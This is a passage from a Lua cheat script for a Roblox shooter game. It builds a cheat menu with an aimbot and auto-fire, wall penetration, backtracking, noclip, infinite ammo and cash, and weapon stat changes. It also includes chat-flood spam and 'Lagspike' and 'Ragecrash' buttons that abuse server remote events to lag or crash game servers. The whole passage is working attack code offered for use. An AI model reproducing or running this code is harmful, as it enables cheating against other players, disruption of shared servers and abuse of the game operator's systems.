  3925. gn = "Knife"
  3926. end
  3927. if FESkins[gn] and owner and owner.Name == Local.Player.Name then
  3928. local v = Services.Players:FindFirstChild(FESkins[gn][1])
  3929. if v then
  3930. spawn(function()
  3931. Local.Camera.ChildAdded:Wait()
  3932. wait()
  3933. local arms = Local.Camera:WaitForChild("Arms")
  3934. mapSkin(arms, Local.Game.gun.Name, FESkins[gn][3])
  3935. end)
  3936. wait()
  3937. cantdumpthis(v)
  3938. local skindata = game.ReplicatedStorage.Skins:FindFirstChild(Local.Game.gun.Name)
  3939. return
  3940. else
  3941. FESkins[gn] = nil
  3942. end
  3943. end
  3944. end
  3945. cantdumpthis(owner)
  3946. Local.Game.fireani:GetPropertyChangedSignal("IsPlaying"):connect(function()
  3947. if Local.Game.fireani.IsPlaying and Local.Game.gun.Name == "C4" and Settings.Instaplant then
  3948. wait()
  3949. print("instaplanting")
  3950. Events.PlantC4:FireServer(CFrame.new(Local.Player.Character.HumanoidRootPart.Position + Vector3.new(0,-2,0))*CFrame.Angles(0,0,4), getSite())
  3951. Local.Game.fireani:Stop()
  3952. end
  3953. end)
  3954. return
  3955. end
  3956. end)
  3957.  
  3958. grenadeallowed = Local.Game.grenadeallowed
  3959. Local.Game.grenadeallowed = function(AAA)
  3960. if Settings.RemoveGrenadeLogic then
  3961. return true
  3962. end
  3963. return grenadeallowed(AAA)
  3964. end
  3965.  
  3966. ChatTab:AddToggle("Remove Chat Filter", Settings.Unhash, function(b)
  3967. Settings.Unhash = b
  3968. end)
  3969.  
  3970. ChatTab:AddToggle("See All Chat", Settings.AllChat, function(b)
  3971. Settings.AllChat = b
  3972. end)
  3973.  
  3974. ChatTab:AddToggle("Chat as always alive", Settings.ChatAlive, function(b)
  3975. Settings.ChatAlive = b
  3976. end)
  3977.  
  3978. ChatTab:AddBox("Flood Chat Message", Settings.Chat1, function(v)
  3979. Settings.Chat1 = v
  3980. end)
  3981.  
  3982. ChatTab:AddSlider("Messages per frame", 400, Settings.FloodMessages, function(n)
  3983. Settings.FloodMessages = n
  3984. end)
  3985.  
  3986. ChatTab:AddToggle("Spam Chat", false, function(b)
  3987. if b then
  3988. Storage.Chatcrash = Services.RunService.RenderStepped:connect(function()
  3989. for i = 1,Settings.FloodMessages do
  3990. Chat(Settings.Chat1)
  3991. end
  3992. end)
  3993. elseif Storage.Chatcrash then
  3994. Storage.Chatcrash:disconnect()
  3995. end
  3996. end)
  3997.  
  3998.  
  3999. function DropGun(gun, cf, owner)
  4000. if game:GetService("ReplicatedStorage").Warmup.Value == true then return end
  4001. Events.Drop:FireServer(gun, cf, 999999999999999999, 999999999999999999, false, owner, false, false)
  4002. end
  4003.  
  4004. LagSpike:AddSlider("Lag Severity / Length", 10, Settings.LagSeverity, function(n)
  4005. Settings.LagSeverity = n
  4006. end)
  4007.  
  4008. LagSpike:AddButton("Lagspike", function()
  4009. for i = 1,Settings.LagSeverity*Settings.LagSeverity do
  4010. for i,v in pairs(Weapons.Path:GetChildren()) do
  4011. if v:IsA("Folder") then
  4012. DropGun(v, CFrame.new(0, -999999999999999999, 0), nil)
  4013. end
  4014. end
  4015. end
  4016. end)
  4017.  
  4018. LagSpike:AddButton("Ragecrash", function()
  4019. S:Connect(function()
  4020. local oh1 = Weapons.Path.Molotov.Model
  4021. local oh3 = 25
  4022. local oh4 = 35
  4023. local oh6 = ""
  4024. local oh7 = ""
  4025. for i = 1,3 do
  4026. Events.ThrowGrenade:FireServer(oh1, nil, oh3, oh4, Vector3.new(0,-100,0), oh6, oh7)
  4027. end
  4028. end)
  4029. end)
  4030.  
  4031.  
  4032. ChatTab:AddBox("Killsay Message", Settings.Chat2, function(v)
  4033. Settings.Chat2 = v
  4034. end)
  4035.  
  4036. ChatTab:AddToggle("Killsay", Settings.Killsay, function(b)
  4037. Settings.Killsay = b
  4038. end)
  4039.  
  4040. Obj:AddToggle("Antidefuse", Settings.Antidefuse, function(b)
  4041. Settings.Antidefuse = b
  4042. end)
  4043.  
  4044. Obj:AddToggle("Instaplant", Settings.Instaplant, function(b)
  4045. Settings.Instaplant = b
  4046. end)
  4047.  
  4048. Obj:AddButton("Capture Hostage", function()
  4049. if not isAlive(Local.Player) then return end
  4050. if not workspace.Map.Gamemode.Value == "defusal" then
  4051. Local.Player.Backpack.Defuse:FireServer(workspace.Map.Regen.Hostages.Hostage)
  4052. end
  4053. end)
  4054.  
  4055. spawn(function()
  4056. while wait(0.2) do
  4057. if isAlive(Local.Player) and Local.Player.Character and Local.Player.Character:FindFirstChild("EquippedTool") and Local.Player.Character.EquippedTool.Value == "R8" and Local.Player.Character:FindFirstChild("Gun") and Settings.RevAnimate then
  4058. Local.Player.Character.Gun.unpull:Play()
  4059. Local.Game.pullani:Play(nil, nil, 0.65)
  4060. Local.Player.Character.Gun.pull:Play()
  4061. end
  4062. end
  4063. end)
  4064.  
  4065.  
  4066. lastEquipped = nil
  4067.  
  4068. function getStatus(v)
  4069. local Player = PlayerListInfo[v.UserId]
  4070. if not Player then return Settings.DefaultBot end
  4071. local stat = Player.Status
  4072. if stat == "Auto" then
  4073. stat = Settings.DefaultBot
  4074. end
  4075. return stat
  4076. end
  4077.  
  4078. function NoclipLoop()
  4079. Local.Player.Character.Humanoid:ChangeState(11)
  4080. end
  4081.  
  4082. spawn(function()
  4083. while wait() do
  4084. for i,v in pairs(Services.Players:GetPlayers()) do
  4085. local stat = getStatus(v)
  4086. stat = Settings[stat]
  4087. if v.Team ~= Local.Player.Team and isAlive(v) and stat and stat.Backtrack then
  4088. local bss = BacktrackSample:clone()
  4089. for _,o in pairs(v.Character:GetChildren()) do
  4090. local p = bss:FindFirstChild(o.Name)
  4091. if p then
  4092. p.Name = "nowallbang"
  4093. p.CFrame = o.CFrame
  4094. if not stat.BacktrackRainbow then
  4095. p.Color = stat.BacktrackColor
  4096. else
  4097. p.Color = Rainbow(2,1,1)
  4098. end
  4099. p.Transparency = stat.BacktrackTransparency
  4100. br = Instance.new("ObjectValue", p)
  4101. br.Name = "PT"
  4102. br.Value = o
  4103. Services.Debris:AddItem(p, stat.BacktrackDelay/1000)
  4104. end
  4105. end
  4106. bss.Parent = Backtrack
  4107. end
  4108. end
  4109. end
  4110. end)
  4111.  
  4112. yaw = 0
  4113.  
  4114. --main loop
  4115. S:connect(function()
  4116. if not isAlive(Local.Player) or not Local.Player.Character then
  4117. return
  4118. end
  4119.  
  4120. local Player = Local.Player
  4121. local Character = Local.Player.Character
  4122.  
  4123. if Settings.InfiniteCash then
  4124. Local.Player.Cash.Value = 5500
  4125. Local.PlayerGui.GUI.Cash.Text = "$inf"
  4126. end
  4127.  
  4128. if Spectatorkey.holding then
  4129. Local.Camera.CFrame = Local.Player.CameraCF.Value
  4130. end
  4131. Storage.Target = CalculateAimbot()
  4132. --[[local Cache
  4133. if Storage.Target then
  4134. Cache = Storage.Target[2].Name
  4135. else
  4136. Cache = nil
  4137. end
  4138.  
  4139. if Storage.Target and Cache ~= Storage.Target[2].Name then
  4140. --PlaySound(538769304, 0, 1/4)
  4141. end]]
  4142. local Target = Storage.Target
  4143. if Target then
  4144. local sTarget = Settings[Target[2]]
  4145. if sTarget and sTarget.AimbotStyle == "Track target" then
  4146. Local.Camera.CFrame = CFrame.new(Local.Camera.CFrame.p, Storage.Target[1][1])
  4147. end
  4148. if sTarget and sTarget.Shootbot and Local.Game.gun ~= "none" then
  4149. local ourCFrame = AimbotFunctions.getRealCameraVector(Local.Player.Character)
  4150. local hit, hitpos, dm, wb = AimbotFunctions.SimulateShot(CFrame.new(ourCFrame, Storage.Target[1][1]), Target[3].Character)
  4151. if hit then
  4152. local dmg = Local.Game.gun.DMG.Value * dm
  4153. local wbthing = not wb or (wb and sTarget.Autowall)
  4154. if (dmg > (wb and sTarget.MinAWDamage or sTarget.MinVisibleDamage)) and wbthing then
  4155. mouse1press()
  4156. wait(0.04)
  4157. mouse1release()
  4158. end
  4159. end
  4160. end
  4161. end
  4162.  
  4163. if Settings.Noclip then
  4164. NoclipLoop()
  4165. end
  4166.  
  4167. --[[if Settings.RHead and Character:FindFirstChild("FakeHead") then
  4168. Character.FakeHead:Remove()
  4169. end]]
  4170.  
  4171. if Settings.RHead and Character:FindFirstChild("HeadHB") then
  4172. Character.HeadHB:Remove()
  4173. Character.FakeHead:Remove()
  4174. end
  4175.  
  4176. if not Settings.RHead and Settings.Blockhead and Character.FakeHead:FindFirstChild("Mesh") then
  4177. Character.FakeHead.Mesh:Remove()
  4178. end
  4179.  
  4180. if Settings.Naked and Character:FindFirstChildOfClass("Shirt") then
  4181. for i,v in pairs(Character:GetDescendants()) do
  4182. if v:IsA("Clothing") then
  4183. v:Destroy()
  4184. end
  4185. end
  4186. end
  4187. pcall(function()
  4188. if Settings.Blockhats then
  4189. for _,v in pairs(Character:GetChildren()) do
  4190. if v:IsA("Accessory") then
  4191. v.Handle.Mesh:Destroy()
  4192. end
  4193. end
  4194. end
  4195. end)
  4196.  
  4197. if Settings.RLimbs and Character:FindFirstChild("RightUpperArm") then
  4198. for i,v in pairs(Character:GetChildren()) do
  4199. if v:IsA("BasePart") and
  4200. v.Name == "RightUpperLeg" or
  4201. v.Name == "LeftUpperLeg" or
  4202. v.Name == "RightUpperArm" or
  4203. v.Name == "LeftUpperArm" then
  4204. v:Destroy()
  4205. end
  4206. end
  4207. end
  4208.  
  4209. if Settings.AA.Invisible and Character.LowerTorso:FindFirstChild("Root") then
  4210. local hrp = Character:FindFirstChild("HumanoidRootPart")
  4211. if hrp then
  4212. local storedpos = hrp.CFrame
  4213. hrp.CFrame = CFrame.new(0,9e12,0)
  4214. wait(1)
  4215. Character.LowerTorso.Root:Remove()
  4216. wait(1)
  4217. hrp.CFrame = storedpos
  4218. end
  4219. end
  4220.  
  4221. local current = Character:FindFirstChild("EquippedTool")
  4222. if current and current.Value ~= lastEquipped then
  4223. lastEquipped = current.Value
  4224. doSelfChams()
  4225. end
  4226. end)
  4227.  
  4228. local PList = UI:CreateWindow("Player List", Vector2.new(600, 430), Vector2.new(540, 40)) --fucking ignore this shit holy fuck this row shit
  4229. local Players = PList:CreateTab("Players")
  4230. local Outfits = PList:CreateTab("Outfits")
  4231. OutfitScroll.Parent = Outfits.main
  4232. UIListLayout.Parent = Players.main
  4233. UIPadding.Parent = Players.main
  4234. TT.Parent = Players.main
  4235. SFrame.Parent = Players.main
  4236. Container.BackgroundTransparency = 1
  4237. Container.Parent = Players.main
  4238. Container.Size = UDim2.new(1, -20, 0, 170)
  4239. local ClickedName = nil
  4240. local Info = Players:AddLocalTab("Player Info")
  4241. local Name = Info:AddLabel("Name: ")
  4242. local UID = Info:AddLabel("UserID: ")
  4243. local RGroup = Info:AddLabel("Is in ROLVe Group: ")
  4244. local IAlive = Info:AddLabel("Is Alive: ")
  4245. local Pos = Info:AddLabel("Position: ")
  4246. local Ang = Info:AddLabel("Angles: ")
  4247. local Cash = Info:AddLabel("Cash: ")
  4248. local LOM = Info:AddLabel("Legit-o-meter: ")
  4249. Players.row.Parent = Container
  4250. Players.row.Size = UDim2.new(0.5, 0, 1, 0)
  4251. local Controls = Players:AddLocalTab("More Info + Controls")
  4252. Players.row.Parent = Container
  4253. Players.row.Size = UDim2.new(0.5, 0, 1, 0)
  4254. local Funds = Controls:AddLabel("Credits: ")
  4255. local Tier = Controls:AddLabel("Current Battlepass Tier: ")
  4256. local OutfitsButton = Controls:AddButton("View Outfits", function()
  4257. if ClickedName == nil then return end
  4258. for i,v in pairs(OBack:GetChildren()) do
  4259. if v:IsA("Frame") then
  4260. v:Destroy()
  4261. end
  4262. end
  4263.  
  4264. local data = game:HttpGet("https://avatar.roblox.com/v1/users/"..ClickedName.UserId.."/outfits")
  4265. local json = Services.HttpService:JSONDecode(data)
  4266. for i,o in pairs(json.data) do
  4267. AddOutfit(o.id, o.name)
  4268. end
  4269. Outfits:clicked()
  4270. end)
  4271.  
  4272. local SkinTab = PList:CreateTab("FE Skins")
  4273.  
  4274. Instance.new("UIListLayout", SkinTab.main)
  4275. FESkin.Parent = SkinTab.main
  4276. SkinScroll.Parent = SkinTab.main
  4277.  
  4278. local Pictures = Players:AddLocalTab("Avatar Pictures")
  4279. Pictures.layout.FillDirection = Enum.FillDirection.Horizontal
  4280. for i = 1,3 do
  4281. local IL = Instance.new("ImageLabel", Pictures.content)
  4282. IL.BackgroundColor3 = UI.colors.tabselected
  4283. IL.BorderColor3 = Color3.new()
  4284. IL.Image = "rbxassetid://290996577"
  4285. IL.Size = UDim2.new(0,82,0,82)
  4286. Pictures.main.Size = UDim2.new(1,0,0, Pictures.layout.AbsoluteContentSize.Y+20)
  4287. end
  4288.  
  4289. local WeaponMods = UI:CreateWindow("Weapon Modifications", Vector2.new(450, 308), Vector2.new(1180, 40))
  4290.  
  4291. starting_debounce = false
  4292. for i,v in pairs(Weapons.Types) do
  4293. local BulletOverride = false
  4294. local tab = WeaponMods:CreateTab(v)
  4295. local FR = tab:AddLocalTab("Firerate")
  4296. FR:AddSlider("Firerate Multiplier", 5, 1, function(value)
  4297. if starting_debounce then
  4298. for i,v in pairs(Weapons[v]) do
  4299. local Weapon = Weapons.Path[v]
  4300. local Old = Weapons.Old[v]
  4301. local Value = Weapon:FindFirstChild("FireRate")
  4302. local OldValue = Old:FindFirstChild("FireRate")
  4303. if Value and value then
  4304. Value.Value = OldValue.Value / value
  4305. elseif Value then
  4306. Value.Value = OldValue.Value
  4307. end
  4308. end
  4309. end
  4310. end, 0.1)
  4311.  
  4312. local RT = tab:AddLocalTab("Reload Time")
  4313. RT:AddSlider("Reduce Reload Time", 5, 1, function(value)
  4314. if starting_debounce then
  4315. for i,v in pairs(Weapons[v]) do
  4316. local Weapon = Weapons.Path[v]
  4317. local Old = Weapons.Old[v]
  4318. local Value = Weapon:FindFirstChild("ReloadTime")
  4319. local OldValue = Old:FindFirstChild("ReloadTime")
  4320. if Value then
  4321. Value.Value = OldValue.Value / value
  4322. elseif Value then
  4323. Value.Value = OldValue.Value
  4324. end
  4325. end
  4326. end
  4327. end, 0.1)
  4328.  
  4329. local IA = tab:AddLocalTab("Infinite Ammo")
  4330. IA:AddToggle("Infinite Ammo", false, function(value)
  4331. if starting_debounce then
  4332. for i,v in pairs(Weapons[v]) do
  4333. local Weapon = Weapons.Path[v]
  4334. local Old = Weapons.Old[v]
  4335. local Value1 = Weapon:FindFirstChild("StoredAmmo")
  4336. local OldValue1 = Old:FindFirstChild("StoredAmmo")
  4337. local Value2 = Weapon:FindFirstChild("Ammo")
  4338. local OldValue2 = Old:FindFirstChild("Ammo")
  4339. if value then
  4340. if Value1 then
  4341. Value1.Value = 9e12
  4342. end
  4343. if Value2 then
  4344. Value2.Value = 9e9
  4345. end
  4346. else
  4347. if Value1 then
  4348. Value1.Value = OldValue1.Value
  4349. end
  4350. if Value2 then
  4351. Value2.Value = OldValue2.Value
  4352. end
  4353. end
  4354. end
  4355. end
  4356. end)
  4357.  
  4358. local FA = tab:AddLocalTab("Force Auto")
  4359. FA:AddToggle("Force Auto", false, function(value)
  4360. if starting_debounce then
  4361. for i,v in pairs(Weapons[v]) do
  4362. local Weapon = Weapons.Path[v]
  4363. local Value = Weapon:FindFirstChild("Auto")
  4364. if Value then
  4365. Value.Value = value
  4366. end
  4367. end
  4368. end
  4369. end)
  4370.  
  4371. local RT = tab:AddLocalTab("Force Shotgun")
  4372. RT:AddToggle("Enable Bullet Override", false, function(value)
  4373. if starting_debounce then
  4374. BulletOverride = value
  4375. if not value then
  4376. for i,v in pairs(Weapons[v]) do
  4377. local Weapon = Weapons.Path[v]
  4378. local Old = Weapons.Old[v]
  4379. local Value = Weapon:FindFirstChild("Bullets")
  4380. local OldValue = Old:FindFirstChild("Bullets")
  4381. if Value then
  4382. Value.Value = OldValue.Value
  4383. end
  4384. end
  4385. end
  4386. end
  4387. end)
  4388.  
  4389. RT:AddSlider("Bullets to shoot", 100, 1, function(value)
  4390. if starting_debounce then
  4391. for i,v in pairs(Weapons[v]) do
  4392. local Weapon = Weapons.Path[v]
  4393. local Old = Weapons.Old[v]
  4394. local Value = Weapon:FindFirstChild("Bullets")
  4395. local OldValue = Old:FindFirstChild("Bullets")
  4396. if Value and BulletOverride and Value:FindFirstChild("Value") then
  4397. Value.Value = value
  4398. else
  4399. Value.Value = OldValue.Value
  4400. end
  4401. end
  4402. end
  4403. end)
  4404.  
  4405. local IE = tab:AddLocalTab("Instant Equip")
  4406. IE:AddToggle("Instant Equip", false, function(value)
  4407. if starting_debounce then
  4408. for i,v in pairs(Weapons[v]) do
  4409. local Weapon = Weapons.Path[v]
  4410. local Old = Weapons.Old[v]
  4411. local Value = Weapon:FindFirstChild("EquipTime")
  4412. local OldValue = Old:FindFirstChild("EquipTime")
  4413. if Value and value then
  4414. Value.Value = 0
  4415. elseif Value then
  4416. Value.Value = OldValue.Value
  4417. end
  4418. end
  4419. end
  4420. end)
  4421.  
  4422. local RT = tab:AddLocalTab("RCS and Spread")
  4423. RT:AddSlider("Reduce Spread", 1, 0, function(value)
  4424. if starting_debounce then
  4425. for i,v in pairs(Weapons[v]) do
  4426. local Weapon = Weapons.Path[v]
  4427. local Old = Weapons.Old[v]
  4428. local Value = Weapon:FindFirstChild("Spread")
  4429. local OldValue = Old:FindFirstChild("Spread")
  4430. if Value then
  4431. Value.Value = OldValue.Value * (1-value)
  4432. for _,children in pairs(Value:GetChildren()) do
  4433. children.Value = OldValue[children.Name].Value * (1-value)
  4434. end
  4435. end
  4436. end
  4437. end
  4438. end, 0.01)
  4439.  
  4440. RT:AddSlider("Reduce Recoil", 1, 0, function(value)
  4441. if starting_debounce then
  4442. for i,v in pairs(Weapons[v]) do
  4443. Storage[v] = (1-value)
  4444. end
  4445. end
  4446. end, 0.01)
  4447. end
  4448.  
  4449. starting_debounce = true
  4450.  
  4451. function AddOutfit(Id, Name)
  4452. local Frame = Instance.new("Frame")
  4453. local ImageLabel = Instance.new("ImageLabel")
  4454. local TextLabel = Instance.new("TextLabel")
  4455.  
  4456. Frame.Parent = OBack
  4457. Frame.BackgroundColor3 = Color3.new(1, 1, 1)
  4458. Frame.BackgroundTransparency = 1
  4459. Frame.Size = UDim2.new(0, 175, 0, 200)
  4460.  
  4461. ImageLabel.Parent = Frame
  4462. ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  4463. ImageLabel.BackgroundTransparency = 1
  4464. ImageLabel.BorderSizePixel = 0
  4465. ImageLabel.Position = UDim2.new(0.0971428454, 0, 0.0650000051, 0)
  4466. ImageLabel.Size = UDim2.new(0.800000012, 0, 0.800000012, 0)
  4467. ImageLabel.SizeConstraint = Enum.SizeConstraint.RelativeXX
  4468. ImageLabel.Image = "rbxthumb://type=Outfit&id="..Id.."&w=150&h=150"
  4469.  
  4470. TextLabel.Parent = Frame
  4471. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  4472. TextLabel.BackgroundTransparency = 1
  4473. TextLabel.Position = UDim2.new(0, 0, 1, 0)
  4474. TextLabel.Size = UDim2.new(1, 0, -0.25, 0)
  4475. TextLabel.Font = Enum.Font.Code
  4476. TextLabel.Text = Name
  4477. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  4478. TextLabel.TextSize = 18
  4479. TextLabel.TextStrokeTransparency = 0
  4480. end
  4481.  
  4482. function addToContextMenu(text, callback, func)
  4483. local TextButton = Instance.new("TextButton")
  4484. TextButton.Parent = bruh
  4485. TextButton.BackgroundColor3 = UI.colors.tabselected
  4486. TextButton.BorderColor3 = UI.colors.outline
  4487. TextButton.Size = UDim2.new(0, 200, 0, 25)
  4488. TextButton.AutoButtonColor = false
  4489. TextButton.Font = Enum.Font.Code
  4490. TextButton.Text = text
  4491. TextButton.TextColor3 = Color3.new(1, 1, 1)
  4492. TextButton.TextSize = 14
  4493. TextButton.TextStrokeTransparency = 0
  4494. TextButton.ZIndex = 70
  4495.  
  4496. bruh:GetPropertyChangedSignal("Visible"):connect(function()
  4497. if bruh.Visible and func then
  4498. func(ClickedName, TextButton)
  4499. end
  4500. end)
  4501.  
  4502. TextButton.MouseButton1Down:Connect(function()
  4503. callback(ClickedName)
  4504. end)
  4505.  
  4506. TextButton.MouseEnter:Connect(function()
  4507. TextButton.BackgroundColor3 = UI.colors.theme
  4508. end)
  4509.  
  4510. TextButton.MouseLeave:Connect(function()
  4511. TextButton.BackgroundColor3 = UI.colors.tabselected
  4512. end)
  4513. end
  4514.  
  4515. function getSite()
  4516. local SpawnPoints = workspace.Map.SpawnPoints
  4517. local HRPPos = Local.Player.Character.HumanoidRootPart.Position
  4518. if GetDistanceSq(HRPPos, SpawnPoints.C4Plant.Position) <
  4519. GetDistanceSq(HRPPos, SpawnPoints.C4Plant2.Position) then
  4520. return "B"
  4521. else
  4522. return "A"
  4523. end
  4524. end
  4525.  
  4526. Services.UserInputService.InputBegan:connect(function(input)
  4527. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  4528. bruh.Visible = false
  4529. end
  4530. if input.KeyCode == Enum.KeyCode.Space then
  4531. repeat
  4532. wait(1)
  4533. Storage.AutohopHit = math.random() < Settings.AutohopHitrate/100
  4534. until not Services.UserInputService:IsKeyDown(Enum.KeyCode.Space) or Storage.AutohopHit == false
  4535. end
  4536. end)
  4537.  
  4538. Local.Mouse.Button1Down:connect(function()
  4539. local Character = Local.Player.Character
  4540. if isAlive(Local.Player) and Character.EquippedTool.Value == "R8" and Character:FindFirstChild("Gun") and Settings.InstaRev then
  4541. Local.Game.firebullet(true)
  4542. end
  4543. end)
  4544.  
  4545. function AddSkin(v, s)
  4546. local Client = Local.PlayerGui.Client
  4547. local Color
  4548. local Rarity
  4549. if Client.Rarities:FindFirstChild(s) then
  4550. Rarity = Client.Rarities[s].Value
  4551. Color = Client.Colors[Rarity].Value
  4552. else
  4553. Rarity = "UNKNOWN"
  4554. Color = Color3.fromRGB(132, 129, 122)
  4555. end
  4556.  
  4557. local Template = Instance.new("ImageButton")
  4558. local UIListLayout_4 = Instance.new("UIListLayout")
  4559. local Rarity_2 = Instance.new("TextLabel")
  4560. local Status_2 = Instance.new("TextLabel")
  4561. local Team_2 = Instance.new("TextLabel")
  4562. local Username_2 = Instance.new("TextLabel")
  4563.  
  4564. Template.Name = "Template"
  4565. Template.BackgroundColor3 = UI.colors.theme
  4566. Template.BorderSizePixel = 0
  4567. Template.LayoutOrder = Order[Rarity]
  4568. Template.BackgroundTransparency = 1
  4569. Template.Size = UDim2.new(1, 0, 0, 20)
  4570. Template.ImageTransparency = 1
  4571. Template.AutoButtonColor = false
  4572. Template.Parent = SBack
  4573.  
  4574. UIListLayout_4.Parent = Template
  4575. UIListLayout_4.FillDirection = Enum.FillDirection.Horizontal
  4576. UIListLayout_4.SortOrder = Enum.SortOrder.LayoutOrder
  4577.  
  4578. Status_2.Name = "Using"
  4579. Status_2.Parent = Template
  4580. Status_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4581. Status_2.BackgroundTransparency = 1
  4582. Status_2.BorderColor3 = Color3.new(0, 0, 0)
  4583. Status_2.BorderSizePixel = 0
  4584. Status_2.LayoutOrder = 4
  4585. Status_2.Size = UDim2.new(0.333, 0, 1, 0)
  4586. Status_2.Font = Enum.Font.SourceSans
  4587. Status_2.Text = "false"
  4588. Status_2.TextColor3 = Color3.new(1, 1, 1)
  4589. Status_2.TextSize = 14
  4590.  
  4591. Rarity_2.Name = "Rarity"
  4592. Rarity_2.Parent = Template
  4593. Rarity_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4594. Rarity_2.BackgroundTransparency = 1
  4595. Rarity_2.BorderColor3 = Color3.new(0, 0, 0)
  4596. Rarity_2.BorderSizePixel = 0
  4597. Rarity_2.LayoutOrder = 3
  4598. Rarity_2.Size = UDim2.new(0.333, 0, 1, 0)
  4599. Rarity_2.Font = Enum.Font.SourceSans
  4600. Rarity_2.Text = Rarity
  4601. Rarity_2.TextColor3 = Color3.new(1, 1, 1)
  4602. Rarity_2.TextSize = 14
  4603.  
  4604. Team_2.Name = "Skin"
  4605. Team_2.Parent = Template
  4606. Team_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4607. Team_2.BackgroundTransparency = 1
  4608. Team_2.LayoutOrder = 2
  4609. Team_2.BorderColor3 = Color3.new(0, 0, 0)
  4610. Team_2.BorderSizePixel = 0
  4611. Team_2.Size = UDim2.new(0.333, 0, 1, 0)
  4612. Team_2.Font = Enum.Font.SourceSans
  4613. Team_2.Text = s
  4614. Team_2.TextColor3 = Color
  4615. Team_2.TextSize = 14
  4616.  
  4617. SkinScroll.CanvasSize = UDim2.new(0,0,0,SBackList.AbsoluteContentSize.Y)
  4618.  
  4619. Template.MouseButton1Click:Connect(function()
  4620. for i,v in pairs(SBack:GetChildren()) do
  4621. if v:IsA("ImageButton") then
  4622. if v.BackgroundColor3 ~= Color3.fromRGB(112, 111, 211) then
  4623. v.BackgroundTransparency = 1
  4624. end
  4625. end
  4626. end
  4627. if Template.BackgroundColor3 == Color3.fromRGB(112, 111, 211) then
  4628. Template.BackgroundTransparency = 1
  4629. Template.BackgroundColor3 = UI.colors.theme
  4630. Status_2.Text = "false"
  4631. local weapon = string.split(s, "_")
  4632. FESkins[weapon[1]] = nil
  4633. SkinClicked = nil
  4634. return
  4635. end
  4636. Template.BackgroundTransparency = 0
  4637. Template.BackgroundColor3 = UI.colors.theme
  4638. if SkinClicked == s then
  4639. Template.BackgroundColor3 = Color3.fromRGB(112, 111, 211)
  4640. local weapon = string.split(s, "_")
  4641. if FESkins[weapon[1]] then
  4642. FESkins[weapon[1]][2].BackgroundTransparency = 1
  4643. FESkins[weapon[1]][2].BackgroundColor3 = UI.colors.theme
  4644. FESkins[weapon[1]][2].Using.Text = "false"
  4645. end
  4646. FESkins[weapon[1]] = {v.Name, Template, weapon[2], Color}
  4647. Status_2.Text = "true"
  4648. end
  4649. SkinClicked = s
  4650. end)
  4651.  
  4652. table.insert(PlayerListInfo[v.UserId].Skins, Template)
  4653. end
  4654.  
  4655. function AddPlayer(v)
  4656.  
  4657. local thumbnail, isready = Services.Players:GetUserThumbnailAsync(v.UserId, Enum.ThumbnailType.AvatarThumbnail, Enum.ThumbnailSize.Size100x100)
  4658. local bust, isready = Services.Players:GetUserThumbnailAsync(v.UserId, Enum.ThumbnailType.AvatarBust, Enum.ThumbnailSize.Size100x100)
  4659. local headshot, isready = Services.Players:GetUserThumbnailAsync(v.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size100x100)
  4660.  
  4661. local Template = Instance.new("ImageButton")
  4662. local UIListLayout_4 = Instance.new("UIListLayout")
  4663. local Age_2 = Instance.new("TextLabel")
  4664. local Status_2 = Instance.new("TextLabel")
  4665. local Team_2 = Instance.new("TextLabel")
  4666. local Username_2 = Instance.new("TextLabel")
  4667.  
  4668. local pictures = {
  4669. thumbnail, bust, headshot
  4670. }
  4671.  
  4672. local AC = v.AccountAge
  4673. Template.Name = "Template"
  4674. Template.Parent = Back
  4675. Template.BackgroundColor3 = UI.colors.theme
  4676. Template.BorderSizePixel = 0
  4677. Template.LayoutOrder = ((v:WaitForChild("Status").Team.Value == "T") and 0) or 1 -- Terrorists go first, then cts
  4678. Template.BackgroundTransparency = 1
  4679. Template.Size = UDim2.new(1, 0, 0, 20)
  4680. Template.ImageTransparency = 1
  4681. Template.AutoButtonColor = false
  4682.  
  4683. UIListLayout_4.Parent = Template
  4684. UIListLayout_4.FillDirection = Enum.FillDirection.Horizontal
  4685. UIListLayout_4.SortOrder = Enum.SortOrder.LayoutOrder
  4686.  
  4687. Age_2.Name = "Age"
  4688. Age_2.Parent = Template
  4689. Age_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4690. Age_2.BackgroundTransparency = 1
  4691. Age_2.BorderColor3 = Color3.new(0, 0, 0)
  4692. Age_2.BorderSizePixel = 0
  4693. Age_2.LayoutOrder = 3
  4694. Age_2.Size = UDim2.new(0.200000003, 0, 1, 0)
  4695. Age_2.Font = Enum.Font.SourceSans
  4696. Age_2.Text = AC.." days"
  4697. Age_2.TextColor3 = Color3.new(1, 1, 1)
  4698. Age_2.TextSize = 14
  4699.  
  4700. Status_2.Name = "Status"
  4701. Status_2.Parent = Template
  4702. Status_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4703. Status_2.BackgroundTransparency = 1
  4704. Status_2.BorderColor3 = Color3.new(0, 0, 0)
  4705. Status_2.BorderSizePixel = 0
  4706. Status_2.LayoutOrder = 2
  4707. Status_2.Size = UDim2.new(0.200000003, 0, 1, 0)
  4708. Status_2.Font = Enum.Font.SourceSans
  4709. Status_2.Text = "Auto"
  4710. Status_2.TextColor3 = Color3.new(1, 1, 1)
  4711. Status_2.TextSize = 14
  4712.  
  4713. Team_2.Name = "Team"
  4714. Team_2.Parent = Template
  4715. Team_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4716. Team_2.BackgroundTransparency = 1
  4717. Team_2.BorderColor3 = Color3.new(0, 0, 0)
  4718. Team_2.BorderSizePixel = 0
  4719. Team_2.Size = UDim2.new(0.300000012, 0, 1, 0)
  4720. Team_2.Font = Enum.Font.SourceSans
  4721. Team_2.Text = v.Team.Name
  4722. Team_2.TextColor3 = v.Team.TeamColor.Color
  4723. Team_2.TextSize = 14
  4724.  
  4725. Username_2.Name = "Username"
  4726. Username_2.Parent = Template
  4727. Username_2.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451)
  4728. Username_2.BackgroundTransparency = 1
  4729. Username_2.BorderColor3 = Color3.new(0, 0, 0)
  4730. Username_2.BorderSizePixel = 0
  4731. Username_2.LayoutOrder = 1
